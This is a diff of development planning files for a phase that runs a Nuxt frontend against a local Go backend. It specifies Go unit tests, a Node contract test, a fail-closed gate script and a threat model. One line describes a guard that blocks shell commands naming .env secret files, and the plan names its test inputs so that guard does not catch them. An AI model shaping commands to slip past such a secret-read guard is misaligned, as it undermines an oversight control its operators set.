+    - "Per D-14, `tests/contracts/e2e-backend-switch.test.mjs` proves that with `E2E_BACKEND=go` `seedE2EFixtures()` executes `E2E_GO_BIN` with exactly `['fonoteka:dev-seed']` in `E2E_GO_DIR`, throws on a non-zero exit and on a missing binary, `runTinker()` throws, and with the switch unset the PHP tinker argv and seed snippets are unchanged."
+    - "Per D-10, `--parity` requires the TestParityCorpus summary `recorded 175/175 passing 175 failing 0 unrecorded 0 pending 0`."
+  artifacts:
+    - path: "scripts/check-phase14.2.sh"
+      provides: "fail-closed phase gate: --self-test --go --docs --parity --contracts --guard --e2e --all"
+      contains: "Phase 14.2 gate passed"
+    - path: "../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go"
+      provides: "TestDevSeedRefusesProduction, TestDevSeedIdempotent, TestDevSeedShape"
+      contains: "TestDevSeedIdempotent"
+    - path: "../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go"
+      provides: "TestDevSeedOpensDatabase, TestReindexOpensDatabase, TestCommandsOpenDatabase"
+      contains: "TestReindexOpensDatabase"
+    - path: "../fonoteka.go/plugins/golem15/fonoteka/dev_marker_test.go"
+      provides: "TestDevMarkerRoute"
+      contains: "TestDevMarkerRoute"
+    - path: "modules/surf/uploads_test.go"
+      provides: "TestUploadsMount"
+      contains: "TestUploadsMount"
+    - path: "modules/surf/accesslog_test.go"
+      provides: "TestAccessLog (next to TestAccessLogSmoke from plan 01)"
+      contains: "TestAccessLog"
+    - path: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs"
+      provides: "D-14 switch contract"
+      contains: "fonoteka:dev-seed"
+  key_links:
+    - from: "scripts/check-phase14.2.sh"
+      to: "../fonoteka.go/scripts/dev-stack.sh"
+      via: "--guard calls guard with planted DEV_STACK_ENV_FILE; --e2e calls up --detach, guard, e2e and down; --self-test calls e2e-verdict on planted reports"
+      pattern: "dev-stack.sh"
+    - from: "scripts/check-phase14.2.sh"
+      to: "../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go"
+      via: "APP_REQUIRE names every phase test the detector must see pass"
+      pattern: "TestDevSeedRefusesProduction"
+    - from: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs"
+      to: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts"
+      via: "imports seedE2EFixtures, runTinker and backendAvailable through Node type stripping"
+      pattern: "seedE2EFixtures"
+  prohibitions:
+    - requirement_id: QA-05
+      category: transparency
+      statement: "The phase gate MUST NOT pass when any gate spec or named Go test is skipped, missing or matched zero tests; a skip is a failure"
+      status: resolved
+      verification: test
+    - requirement_id: QA-05
+      category: transparency
+      statement: "The phase gate MUST NOT downgrade an unreachable service, a missing PHP-free marker or an unavailable Docker daemon to a pass or a skip; it fails closed"
+      status: resolved
+      verification: test
+---
+
+## Phase Goal
+
+**As a** developer, **I want to** run the existing `vue-fonoteka-app` locally against the local `fonoteka.go` SummerCMS backend (not PHP), log in and use the real Nuxt flows, **so that** the port is proven in daily use before production cutover.
+
+This plan's slice: the guarantee. After it, one command proves the local glue still works and fails closed on any regression, and every Go piece the phase added has unit coverage.
+
+<objective>
+Deliver D-17 (and D-22 plan 04, the last plan per the project rule): the Go unit tests for `fonoteka:dev-seed` (refusal, idempotency, shape, own database), the reindex and command database fix, the marker route, the uploads mount and the access log; the Nuxt contract test for the `E2E_BACKEND=go` switch; and `summercms.go/scripts/check-phase14.2.sh` following the `check-phase*.sh` pattern.
+
+Purpose: Success Criterion 4 of the phase (the new glue has tests and a fail-closed check script) and the evidence `/gsd-verify-work 14.2` consumes.
+Output: test files in fonoteka.go, summercms.go and vue-fonoteka-app (each in its own repository commit) and the gate script in summercms.go.
+</objective>
+
+<execution_context>
+@~/.claude/gsd-core/workflows/execute-plan.md
+@~/.claude/gsd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/PROJECT.md
+@.planning/STATE.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-CONTEXT.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-VALIDATION.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-01-SUMMARY.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-02-SUMMARY.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-03-SUMMARY.md
+@scripts/check-phase14.2.1.sh
+
+<interfaces>
+- Plan 01: `console.DevSeedCommand(app)`, `console.DevEnvironment(app)`, command name `fonoteka:dev-seed`, output lines `<entity>: created|updated|unchanged`, token name `dev-seed-mcp`, env `E2E_EMAIL`, `E2E_PASSWORD`, `DEV_SEED_API_TOKEN`; unexported `commandDatabase`/`commandBucket`; marker `GET /_fonoteka/api/v1/_dev/backend` via `(*Plugin).devMarkerRoutes`; surf `mountUploads` (key `storage.uploads.serve`) and `accessLog` (key `http.access_log`, record `http request` with `method`, `pattern`, `status`, `duration_ms`, `path` on unmatched); smoke tests `TestDevStackSmoke`, `TestAccessLogSmoke`.
+- Plan 02: `dev-stack.sh guard` reads `DEV_STACK_ENV_FILE` only; `e2e-verdict <file>` reads no env; `e2e [--report-only] <spec...>`; `up --detach` is idempotent and `status` exits 0 only when both processes answer; logs in `fonoteka.go/tmp/dev-stack/go.log`.
+- Plan 03: `runTinker.ts` reads `E2E_BACKEND`, `E2E_GO_BIN`, `E2E_GO_DIR` at call time; gate specs `auth.setup.ts login.spec.ts smoke.spec.ts fonoteka-item.spec.ts public-share.spec.ts realtime.spec.ts i18n.spec.ts album-edit-rate-cover.spec.ts album-search.spec.ts wishlist.spec.ts`.
+- Test harnesses: console package `oauthConsoleDB(t)` (shared testcontainer, migrated user and fonoteka schemas, hooks registered), `testInput`, `stripANSI`, `reindexApp` (fake engine); plugin root package `bootPG`, `bootDB(t)`, `bootConfig(t)` (SUMMER_ENV=development), `stubInvToken`; attach `attachGorm` pattern (lagoon/attach/lifecycle_test.go:268) for a Postgres with `system_files`; Nuxt contracts import `.ts` through Node type stripping (tests/contracts/session-recovery.test.mjs).
+- `check-phase14.2.1.sh`: `detect()` python3 heredoc (exit 1 fail/build, 2 skip, 3 zero or "no tests to run", 4 non-JSON, 5 missing named test, 6 data race), `go_json DIR ARGS`, `expect_detect`, `run_self_test` mode-presence loop, `run_all` re-invoking each stage with PASS/FAIL lines, `case "${1:---all}"` dispatch.
+- The Bash secret-read guard blocks commands naming `.env` files other than templates: planted guard inputs are named `guard-*.conf`, never `.env*`.
+</interfaces>
+</context>
+
+## Artifacts this phase produces
+
+(This plan's share.)
+
+- `summercms.go/scripts/check-phase14.2.sh` modes `--self-test`, `--go`, `--docs`, `--parity`, `--contracts`, `--guard`, `--e2e`, `--all`; overridable paths `PHASE142_ROOT`, `PHASE142_APP` (default `$ROOT/../fonoteka.go`), `PHASE142_NUXT` (default `/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app`); arrays `APP_REQUIRE`, `CONSOLE_REQUIRE`, `FRAMEWORK_REQUIRE`, `GATE_SPECS`, `REPORT_SPECS`; final line `Phase 14.2 gate passed`.
+- Go tests `TestDevSeedRefusesProduction`, `TestDevSeedIdempotent`, `TestDevSeedShape` (console), `TestDevSeedOpensDatabase`, `TestReindexOpensDatabase`, `TestCommandsOpenDatabase`, `TestDevMarkerRoute` (plugin root), `TestUploadsMount`, `TestAccessLog` (surf).
+- Nuxt contract test `tests/contracts/e2e-backend-switch.test.mjs`.
+
+## Assumptions
+
+- Docker is available for testcontainers; a missing daemon fails the gate (no `-short` evidence).
+- The full `go test ./...` runs are exit-code checks (other packages may skip by design); the skip-intolerant detector covers the phase's own named tests.
+- `--e2e` and `--guard`'s positive case need the developer's configured env file and running host services, like plan 02 and 03.
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1 (tracer): `check-phase14.2.sh --go` proves the seed's production refusal end to end (script, go test -json, detector)</name>
+  <files>scripts/check-phase14.2.sh, ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go</files>
+  <read_first>scripts/check-phase14.2.1.sh (whole file: header, detect, go_json, expect_detect, run_self_test, run_all, dispatch), scripts/check-phase14.sh (go -C usage for sibling repos), ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go, ../fonoteka.go/plugins/golem15/fonoteka/console/oauth_client_test.go (testInput, TestMain, oauthConsoleDB), ../fonoteka.go/plugins/golem15/fonoteka/console/phase14_commands_test.go (reindexApp config via compass.Open, stripANSI), modules/compass/config.go (Options, Environment)</read_first>
+  <action>Per D-17. New `scripts/check-phase14.2.sh` modelled on check-phase14.2.1.sh: header comment describing the gate and every mode, `set -euo pipefail`, `unset FORCE_COLOR`, `ROOT="${PHASE142_ROOT:-...}"`, `APP="${PHASE142_APP:-$ROOT/../fonoteka.go}"`, `NUXT="${PHASE142_NUXT:-/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app}"`. Copy `detect()`, `go_json`, `expect_detect` semantics unchanged. `run_self_test`: `bash -n` on this script, the planted detector cases for exit codes 0-6, and the mode-presence loop, ending with the line `phase14.2 self-test passed`. `run_go` for now: `go -C "$APP" vet ./plugins/golem15/fonoteka/...` and `go_json "$APP" ./plugins/golem15/fonoteka/console -count=1 -run '^TestDevSeedRefusesProduction$'` with `REQUIRE_TESTS` from a `CONSOLE_REQUIRE=(TestDevSeedRefusesProduction)` array. Dispatch `--self-test`, `--go`, `--all` (self-test then go, PASS/FAIL lines, final `Phase 14.2 gate passed`). Later modes are added in Task 3.
+
+`console/dev_seed_test.go`, `TestDevSeedRefusesProduction` (no database needed): table over environment values unset, `production`, `development`, `testing`, `staging`, `local`, `dev`. Build each config with `compass.Open` (temp dir with `app.yaml`, `Environ` carrying `SUMMER_ENV` only when set) and `database.dsn` pointing at `postgres://seed:seed@127.0.0.1:1/none?sslmode=disable&connect_timeout=1`, no published database. For the refused values, `DevSeedCommand(app).Run` returns an error containing `refused in environment` and the app has no published `*gorm.DB` afterwards (nothing was opened). For `local` and `dev`, the error does not contain `refused in environment` (the gate passed and the connect failed). Also assert `DevEnvironment` returns the same verdicts.</action>
+  <verify>
+    <automated>bash scripts/check-phase14.2.sh --self-test &amp;&amp; bash scripts/check-phase14.2.sh --go</automated>
+    <fails_when>Non-zero exit; any line starting with "refuse:"; output lacks "phase14.2 self-test passed".</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `bash -n scripts/check-phase14.2.sh` exits 0.
+    - `grep -c 'TestDevSeedRefusesProduction' scripts/check-phase14.2.sh` prints at least 1.
+    - `grep -c '^func TestDevSeedRefusesProduction' ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go` prints 1.
+    - `grep -c 'staging' ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go` prints at least 1.
+  </acceptance_criteria>
+  <done>The gate script runs a named Go test through the skip-intolerant detector and the seed's production refusal is proven without a database.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 2: unit tests for the seed shape and idempotency, the own-database commands, the marker, the uploads mount and the access log</name>
+  <files>../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go, ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go, ../fonoteka.go/plugins/golem15/fonoteka/dev_marker_test.go, modules/surf/uploads_test.go, modules/surf/accesslog_test.go</files>
+  <read_first>../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go, ../fonoteka.go/plugins/golem15/fonoteka/console/database.go, ../fonoteka.go/plugins/golem15/fonoteka/console/oauth_client_test.go, ../fonoteka.go/plugins/golem15/fonoteka/console/phase14_commands_test.go, ../fonoteka.go/plugins/golem15/fonoteka/dev_marker.go, ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_smoke_test.go, ../fonoteka.go/plugins/golem15/fonoteka/plugin_boot_test.go, ../fonoteka.go/plugins/golem15/fonoteka/routes_isolation_test.go (BuildRouter table walk), ../fonoteka.go/parity/manifest.yaml, ../fonoteka.go/plugins/golem15/user/classes/api_tokens.go, modules/surf/uploads.go, modules/surf/accesslog.go, modules/surf/accesslog_test.go (TestAccessLogSmoke), modules/surf/router_test.go, modules/lagoon/attach/static_test.go, modules/lagoon/attach/lifecycle_test.go (attachGorm 268)</read_first>
+  <behavior>
+    - TestDevSeedShape: E2E_EMAIL/E2E_PASSWORD set → that user exists activated, MustChangePassword false, HasSelfSetPassword true, bcrypt matches; both empty → `demo@example.com` with `changeme`; context collection of kind collection with Kind of Blue, Blue Train, Mingus Ah Um, each with one `photos` attachment whose blob exists in the mem:// bucket; wishlist collection with A Love Supreme; one rating 4 on Kind of Blue; one token row named dev-seed-mcp whose stored hash matches the printed `inv_` secret; settings row 1 has search_use_typesense true; DEV_SEED_API_TOKEN without the prefix → refusal and no row written; DEV_SEED_API_TOKEN with the prefix → row hash equals HashAPIToken(value).
+    - TestDevSeedIdempotent: second run prints only `unchanged` lines (token line without a secret) and every table count is equal; a third run with a different E2E_PASSWORD prints `user: updated` and changes nothing else.
+    - TestDevSeedOpensDatabase / TestReindexOpensDatabase / TestCommandsOpenDatabase: app with only `database.dsn` (bootPG) and no published handle → each command publishes `*gorm.DB`, never prints `database is not configured`; seeded album slugs are non-empty; reindex with no Typesense key prints the not-configured line.
+    - TestDevMarkerRoute: local and dev → 200, exact three keys, env matches, `Cache-Control: no-store`, no `jwt.auth` in the route's middleware; production, development, testing → absent from BuildRouter's table and 404 from Assemble; `parity/manifest.yaml` contains no `_dev/`.
+    - TestUploadsMount: key off → no route and 404; key on → public blob 200 with its content type and nosniff, HEAD 200 with empty body; is_public false, missing row, `..` traversal and encoded traversal → 404; bucket or DB unpublished → 404; a custom `public_path_prefix` is honoured; a plugin route under the prefix makes BuildRouter return an error.
+    - TestAccessLog: key off → no record; key on → pattern and status for 200, a handler 404 and a recovered panic 500; unmatched request → status 404 and `path` without query; a locale-prefixed request still records the route pattern; `duration_ms` is an integer ≥ 0; no record contains the query value, an `Authorization` header value or a header name; `http.NewResponseController(w).Flush()` inside a handler succeeds.
+  </behavior>
+  <action>Per D-02, D-04, D-09, D-10, D-12, D-17, D-19 and research G1. Write the tests in `<behavior>` first; they must pass against the plan 01 code. If one fails because the code is wrong, fix the code in the same commit with the test and say so in the summary; do not weaken an assertion.
+
+Placement: `TestDevSeedShape` and `TestDevSeedIdempotent` in `console/dev_seed_test.go` on `oauthConsoleDB(t)` with a published mem:// bucket, `golem15.user.api_tokens.prefix` set to `inv_`, SUMMER_ENV local, and `t.Setenv` for the E2E and token variables; count rows per table before and after. The own-database tests in the plugin root `dev_stack_test.go`, using `bootDB(t)` to migrate and a fresh app with `database.dsn` from `bootPG`, plugins activated, no handle published (same set-up as `TestDevStackSmoke`). `TestDevMarkerRoute` in `dev_marker_test.go`, building configs with each SUMMER_ENV and reading the manifest through a path relative to the plugin directory. `TestUploadsMount` in `modules/surf/uploads_test.go` with a testcontainers Postgres holding `system_files` (the `attachGorm` pattern) and `memblob`; `TestAccessLog` added to `modules/surf/accesslog_test.go` next to `TestAccessLogSmoke`, using `blog` / `acme` fixture names. Missing Docker is a test failure, never a skip.
+
+Commits: fonoteka.go tests, then summercms.go tests, each with explicit paths.</action>
+  <verify>
+    <automated>go -C ../fonoteka.go vet ./plugins/golem15/fonoteka/... &amp;&amp; go -C ../fonoteka.go test ./plugins/golem15/fonoteka/console -count=1 -v -run '^(TestDevSeedRefusesProduction|TestDevSeedShape|TestDevSeedIdempotent|TestReindexCommand)$' &amp;&amp; go -C ../fonoteka.go test ./plugins/golem15/fonoteka -count=1 -v -run '^(TestDevSeedOpensDatabase|TestReindexOpensDatabase|TestCommandsOpenDatabase|TestDevMarkerRoute|TestDevStackSmoke)$'</automated>
+    <fails_when>Non-zero exit; output contains "--- FAIL", "--- SKIP" or "no tests to run"; output lacks "--- PASS: TestDevSeedIdempotent", "--- PASS: TestDevSeedShape" or "--- PASS: TestDevMarkerRoute".</fails_when>
+    <automated>go vet ./modules/surf/ &amp;&amp; go test ./modules/surf/ -count=1 -v -run '^(TestUploadsMount|TestAccessLog|TestAccessLogSmoke)$'</automated>
+    <fails_when>Non-zero exit; output contains "--- FAIL", "--- SKIP" or "no tests to run"; output lacks "--- PASS: TestUploadsMount" or "--- PASS: TestAccessLog".</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c '^func Test' ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed_test.go` prints at least 3.
+    - `grep -cE '^func Test(DevSeedOpensDatabase|ReindexOpensDatabase|CommandsOpenDatabase)\(' ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go` prints 3.
+    - `grep -c 'manifest.yaml' ../fonoteka.go/plugins/golem15/fonoteka/dev_marker_test.go` prints at least 1.
+    - `grep -c 'nosniff' modules/surf/uploads_test.go` prints at least 1, and `grep -c '^func TestAccessLog(' modules/surf/accesslog_test.go` prints 1.
+    - `grep -c 't.Skip' modules/surf/uploads_test.go ../fonoteka.go/plugins/golem15/fonoteka/dev_stack_test.go ../fonoteka.go/plugins/golem15/fonoteka/dev_marker_test.go` prints 0 for each file.
+  </acceptance_criteria>
+  <done>Every Go behaviour the phase added fails a named test when it regresses: seed refusal, shape, idempotency and own database, command database fix, marker gating, uploads mount and access log.</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: Nuxt switch contract test and the remaining gate stages (docs, parity, contracts, guard, e2e, all)</name>
+  <files>scripts/check-phase14.2.sh, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs</files>
+  <read_first>scripts/check-phase14.2.sh (Task 1), scripts/check-phase14.2.1.sh (run_docs, run_all), ../fonoteka.go/scripts/dev-stack.sh (guard, e2e, e2e-verdict, status, up, down), /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/auth.setup.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/session-recovery.test.mjs, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/package.json (test:contracts), .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md (Q2 gate run, Q6, Pattern 4, G7, G8)</read_first>
+  <action>Contract test (D-14), `tests/contracts/e2e-backend-switch.test.mjs` with `node:test`: import `seedE2EFixtures`, `runTinker` and `backendAvailable` from `../e2e/helpers/runTinker.ts` (type stripping). Go mode cases, toggling `process.env` per test and restoring it: a temp executable shell script as `E2E_GO_BIN` that writes its argv and cwd to a temp file → exactly `fonoteka:dev-seed` and cwd equal to `E2E_GO_DIR`; a script exiting 3 → `seedE2EFixtures()` throws; `E2E_GO_BIN` unset → `backendAvailable()` false and `seedE2EFixtures()` throws; `runTinker('x')` throws. Source cases on the file text: the PHP argv `['artisan', 'tinker', '--execute', phpScript]`, `firstOrNew` and `e2e-seed-post` are present; `auth.setup.ts` calls `seedE2EFixtures()` only inside an `E2E_BACKEND === 'go'` condition. Commit in vue-fonoteka-app.
+
+Gate stages in `scripts/check-phase14.2.sh` (D-17):
+- `--go`: `go vet ./...` and `go test ./... -count=1 -timeout 60m` in ROOT (exit code), the same with `go -C "$APP"` (workspace), then `go_json` with `CONSOLE_REQUIRE=(TestDevSeedRefusesProduction TestDevSeedShape TestDevSeedIdempotent TestReindexCommand)` on `./plugins/golem15/fonoteka/console`, `APP_REQUIRE=(TestDevStackSmoke TestDevSeedOpensDatabase TestReindexOpensDatabase TestCommandsOpenDatabase TestDevMarkerRoute)` on `./plugins/golem15/fonoteka`, `FRAMEWORK_REQUIRE=(TestUploadsMount TestAccessLog TestAccessLogSmoke)` on `./modules/surf`, each run with a `-run` regex built from its array.
+- `--docs`: `go test ./cmd/summer -count=1 -run '^TestDocsTree$'` and `go run ./cmd/summer docs:build --check` in ROOT.
+- `--parity`: `go -C "$APP" test ./parity -count=1 -run TestParityCorpus -timeout 30m -v`, refusing unless the output has `recorded 175/175 passing 175 failing 0 unrecorded 0 pending 0`.
+- `--contracts`: `pnpm --dir "$NUXT" test:contracts`, refusing unless it exits 0 and reports `# fail 0`.
+- `--guard`: in a temp dir, planted files `guard-*.conf` fed through `DEV_STACK_ENV_FILE` to `bash "$APP/scripts/dev-stack.sh" guard`; cases: both origins `http://127.0.0.1:8422`; internal origin unset; origins differing; both `https://plytarium.com`; a python3 `http.server` on a free loopback port answering 404 with `X-Powered-By: PHP/8.5.10` (origins and `DEV_STACK_GO_ADDR` set to it); a python3 server answering 200 `{"backend":"winter"}`. Each case must exit non-zero and print a `refuse:` line, else the stage refuses naming the case. Fake servers are killed by a trap.
+- `--e2e` (D-06, D-13, D-15): note whether `dev-stack.sh status` is already green; run `dev-stack.sh up --detach` (its refusals propagate; a missing service fails the stage), `dev-stack.sh guard` with the real env file, then `dev-stack.sh e2e` with `GATE_SPECS=(auth.setup.ts login.spec.ts smoke.spec.ts fonoteka-item.spec.ts public-share.spec.ts realtime.spec.ts i18n.spec.ts album-edit-rate-cover.spec.ts album-search.spec.ts wishlist.spec.ts)`; then `dev-stack.sh e2e --report-only` with `REPORT_SPECS=(fonoteka-ai-assist.spec.ts fonoteka-bulk-add.spec.ts offline.spec.ts registration-invitation.spec.ts responsive.spec.ts landing.spec.ts)`, printing counts without failing; then refuse when `$APP/tmp/dev-stack/go.log` contains `album search engine failed` or a line matching `status=5[0-9][0-9]`; run `dev-stack.sh down` only when this stage started the stack.
+- `--self-test` also: planted Playwright reports (skipped 1, unexpected 1, flaky 1, expected 0, malformed JSON) must each be refused by `dev-stack.sh e2e-verdict`, and a clean report accepted; `bash -n` on dev-stack.sh; the mode-presence loop covers every mode below.
+- `--all`: self-test, go, docs, parity, contracts, guard, e2e in that order with PASS/FAIL lines; final line `Phase 14.2 gate passed`.</action>
+  <verify>
+    <automated>pnpm --dir /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app test:contracts</automated>
+    <fails_when>Non-zero exit, or the node --test summary line "# fail" shows a number other than 0.</fails_when>
+    <automated>bash scripts/check-phase14.2.sh --all 2>&amp;1 | tee "${TMPDIR:-/tmp}/check-phase14.2.log"; test "${PIPESTATUS[0]}" -eq 0 &amp;&amp; test "$(tail -n 1 "${TMPDIR:-/tmp}/check-phase14.2.log")" = "Phase 14.2 gate passed"</automated>
+    <fails_when>Non-zero exit; any "FAIL" stage line or "refuse:" line; the last line is not "Phase 14.2 gate passed".</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `for m in --self-test --go --docs --parity --contracts --guard --e2e --all; do grep -qF -- "	$m)" scripts/check-phase14.2.sh || echo "missing $m"; done` prints nothing.
+    - `grep -c 'plytarium.com' scripts/check-phase14.2.sh` prints at least 1, and `grep -c 'X-Powered-By: PHP/8.5.10' scripts/check-phase14.2.sh` prints at least 1.
+    - `grep -c 'album search engine failed' scripts/check-phase14.2.sh` prints at least 1.
+    - `grep -c 'recorded 175/175 passing 175 failing 0 unrecorded 0 pending 0' scripts/check-phase14.2.sh` prints 1.
+    - `grep -c 'fonoteka:dev-seed' /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/contracts/e2e-backend-switch.test.mjs` prints at least 1.
+    - `grep -cE 'guard-[a-z0-9-]*\.conf' scripts/check-phase14.2.sh` prints at least 1 (planted guard inputs use `.conf` names the secret-read guard does not block).
+  </acceptance_criteria>
+  <done>`check-phase14.2.sh --all` is the single fail-closed proof of the phase: Go tests, docs, parity, Nuxt contracts, guard refusals and the Go-gate Playwright run, ending with "Phase 14.2 gate passed".</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Test and gate output → phase verdict | Skips, zero matches and missing names must not read as passes |
+| Gate → guard | The guard's refusals are the phase's protection against PHP or production fall-through |
+| Gate → logs | Silent degradations (SQL search fallback, 5xx) only show in the Go log |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-14.2-17 | Tampering | Playwright gate verdict | high | mitigate | `e2e-verdict` requires expected > 0 and zero unexpected, skipped and flaky; `--self-test` plants each bad report and requires refusal |
+| T-14.2-18 | Tampering | Go test verdict | high | mitigate | `detect()` exits non-zero on fail, build failure, skip, zero tests, "no tests to run", non-JSON, missing named test and data race; planted cases in `--self-test` |
+| T-14.2-19 | Spoofing | guard regression | high | mitigate | `--guard` plants :8422, unset internal origin, mismatched origins, plytarium.com, fake PHP and a wrong marker; every case must refuse |
+| T-14.2-20 | Repudiation | hidden degradations during the gate run | medium | mitigate | `--e2e` refuses on `album search engine failed` and 5xx records in `go.log` (research G8, D-12) |
+| T-14.2-SC | Tampering | package installs | high | mitigate | No install: Go stdlib, existing test modules (testcontainers, memblob) and node built-ins |
+
+ASVS L1; every high threat is mitigated with a self-tested control.
+</threat_model>
+
+<verification>
+- `bash scripts/check-phase14.2.sh --all` ends with `Phase 14.2 gate passed` (services up, Docker available).
+- `go vet ./...` and `go test ./...` green in summercms.go and fonoteka.go; `pnpm --dir /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app test:contracts` green.
+- Update `14.2-VALIDATION.md` per-task map statuses only through `/gsd-validate-phase` (not in this plan).
+</verification>
+
+<success_criteria>
+- Every validation-map behaviour in 14.2-VALIDATION.md has a named, passing automated test or gate stage.
+- The gate script fails closed on every planted failure in `--self-test` and `--guard`.
+- Unit tests are the last plan of the phase (project rule, D-17).
+</success_criteria>
+
+<output>
+Create `.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-04-SUMMARY.md` when done
+</output>

.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-CONTEXT.md

@@ -0,0 +1,152 @@
+# Phase 14.2: Local Fonoteka frontend on local SummerCMS backend - Context
+
+**Gathered:** 2026-10-07
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+A developer runs the existing `vue-fonoteka-app` (Nuxt 4) locally against the local `fonoteka.go` binary, with no PHP involved. They sign in and use the core flows: browse collections and albums, search, edit, rate, upload a cover, and add and remove wishlist entries. The phase delivers four things: a repeatable local data seed, a single start script, a guard that fails closed when Nuxt would reach PHP or production, and proof of the flows (Playwright against Go plus one manual session). The production data import (`summer import:winter`), the nginx swap and the production soak belong to Phase 20.
+
+Repos: `fonoteka.go` (seed command, start script, dev env template, any Go fixes), `vue-fonoteka-app` (small non-breaking edits only, see D-11), and `summercms.go` only if a framework helper is missing, plus the phase check script under `summercms.go/scripts/`.
+
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Local data
+- **D-01:** Local data comes from `fonoteka migrate` followed by a new seed command. The Phase 20 `import:winter` runner is not pulled forward, and PHP data is not imported in this phase.
+- **D-02:** The seed is an application command, `fonoteka dev:seed` (final name at the planner's discretion), in the fonoteka plugin, not a framework seeder hook. It refuses to run unless the app environment is local/dev, and it is idempotent: a second run changes nothing. It creates:
+  - a verified user;
+  - an owned collection;
+  - a few albums;
+  - a wishlist entry;
+  - a personal API token (`inv_` prefix) so fonoteka-mcp can be pointed at the local stack.
+- **D-03:** Seeded albums get bundled test cover images (small, embedded or generated, no network), attached through the normal attach path into `storage/app/uploads/public`. Their `/storage/app/uploads/public/...` URLs then resolve through the Nuxt `/storage` proxy right away.
+- **D-04:** The seeded user's credentials come from `E2E_EMAIL` / `E2E_PASSWORD`, the same variables the Nuxt Playwright suite uses, with a fallback to `demo@example.com` / `changeme`. That way the seed and the Playwright login match without extra wiring.
+
+### Stack startup
+- **D-05:** A single script, `fonoteka.go/scripts/dev-stack.sh`, uses host services and adds no docker compose. It:
+  1. checks that the services are reachable;
+  2. runs `summer build`, `migrate` and `dev:seed`;
+  3. reindexes search after the seed;
+  4. starts `fonoteka serve`;
+  5. runs the fail-closed guard (D-09);
+  6. starts `pnpm dev` in the sibling `vue-fonoteka-app`.
+- **D-06:** Postgres, Typesense and Centrifugo are all required. The script refuses to start, and names the missing service, if any of them is unreachable. Realtime is expected to work locally, which means `NUXT_PUBLIC_CENTRIFUGO_WS_URL` is set and the app origin `http://localhost:3119` is in Centrifugo's allowed origins (documented).
+- **D-07:** Go serves on `:8423`, which is distinct from PHP's `:8422` and from the framework default `:8080`. PHP and Go can then run side by side, and a stale origin is obvious.
+- **D-08:** Settings and secrets live in a gitignored `fonoteka.go/.env.dev`, with a committed `.env.dev.example` that holds placeholders only. It covers the DSN, JWT secret, app key, Typesense and Centrifugo keys, and the Nuxt-side values. The script sources it and fails, listing each missing key. The script passes `NUXT_DEV_BACKEND_ORIGIN`, `NUXT_INTERNAL_API_ORIGIN` and `NUXT_PUBLIC_CENTRIFUGO_WS_URL` as environment variables on the `pnpm dev` process. It never writes `vue-fonoteka-app/.env`, so the developer's PHP-targeted setup stays intact.
+
+### PHP fall-through guard
+- **D-09:** The guard has three parts:
+  1. **Preflight:** before Nuxt starts, the script probes the Go origin for a Go-only marker and refuses to continue if the marker is missing, if the target is `:8422`, or if a PHP backend answers.
+  2. **Pinned SSR origin:** `NUXT_INTERNAL_API_ORIGIN` is always set explicitly to the Go origin, so SSR can never fall back to `https://plytarium.com`.
+  3. **Post-start probe:** once Nuxt is up, the script probes through Nuxt's proxy (`http://localhost:3119/...`) and confirms the marker comes back, which proves the proxy reaches Go.
+- **D-10:** The marker is a route only the Go binary serves (an existing framework health/readiness route, or the smallest new one) that stays **outside the parity manifest**. No manifest route's response changes, and no new header is added to API responses.
